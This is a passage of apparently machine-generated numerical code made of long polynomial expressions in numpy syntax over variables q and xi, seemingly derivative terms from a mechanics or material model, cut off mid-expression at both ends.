(-12828156665.2727*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 2004399.47894886*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*(2*q[0, 0] - q[1, 0] - q[2, 0])**2 + 1)*(-160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 320703916.631818*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(6*q[3, 0] - 3*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 10147272.3621786*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 199774.424630392*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 2106.99588477366*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0]) - 8.88888888888889*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (-2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 53.3333333333333*q[0, 0] + 26.6666666666667*q[1, 0] + 26.6666666666667*q[2, 0])*(60131984.3684659*xi**9*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 60131984.3684659*xi**9*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(6*q[3, 0] - 3*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 1522090.85432679*xi**7*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 22474.6227709191*xi**5*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) - 79.0123456790123*xi**3*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi), (12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]))*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(-4*q[3, 0] + 8*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 160351958.315909*numpy.sqrt(3)*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(-3*q[3, 0] + 6*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(-2*q[3, 0] + 4*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(-q[3, 0] + 2*q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1053.49794238683*numpy.sqrt(3)*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0]) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (-12828156665.2727*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 2004399.47894886*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*(2*q[0, 0] - q[1, 0] - q[2, 0])**2 + 1)*(-160351958.315909*xi**10*(-4*q[3, 0] + 8*q[4, 0] - 4*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 160351958.315909*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(-3*q[3, 0] + 6*q[4, 0] - 3*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 5073636.18108931*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(-2*q[3, 0] + 4*q[4, 0] - 2*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 99887.2123151958*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(-q[3, 0] + 2*q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1053.49794238683*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0]) + 4.44444444444444*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (-2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 53.3333333333333*q[0, 0] + 26.6666666666667*q[1, 0] + 26.6666666666667*q[2, 0])*(60131984.3684659*xi**9*(-4*q[3, 0] + 8*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 60131984.3684659*xi**9*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(-3*q[3, 0] + 6*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 1522090.85432679*xi**7*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(-2*q[3, 0] + 4*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 22474.6227709191*xi**5*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(-2*q[3, 0] + 4*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) - 79.0123456790123*xi**3*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi), (12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]))*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(-4*q[3, 0] - 4*q[4, 0] + 8*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 160351958.315909*numpy.sqrt(3)*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(-3*q[3, 0] - 3*q[4, 0] + 6*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 5073636.18108931*numpy.sqrt(3)*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(-2*q[3, 0] - 2*q[4, 0] + 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 99887.2123151958*numpy.sqrt(3)*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(-q[3, 0] - q[4, 0] + 2*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1053.49794238683*numpy.sqrt(3)*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0]) + 4.44444444444444*numpy.sqrt(3)*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (-12828156665.2727*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 2004399.47894886*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*(2*q[0, 0] - q[1, 0] - q[2, 0])**2 + 1)*(-160351958.315909*xi**10*(-4*q[3, 0] - 4*q[4, 0] + 8*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 160351958.315909*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(-3*q[3, 0] - 3*q[4, 0] + 6*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 5073636.18108931*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(-2*q[3, 0] - 2*q[4, 0] + 4*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 99887.2123151958*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(-q[3, 0] - q[4, 0] + 2*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1053.49794238683*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0]) + 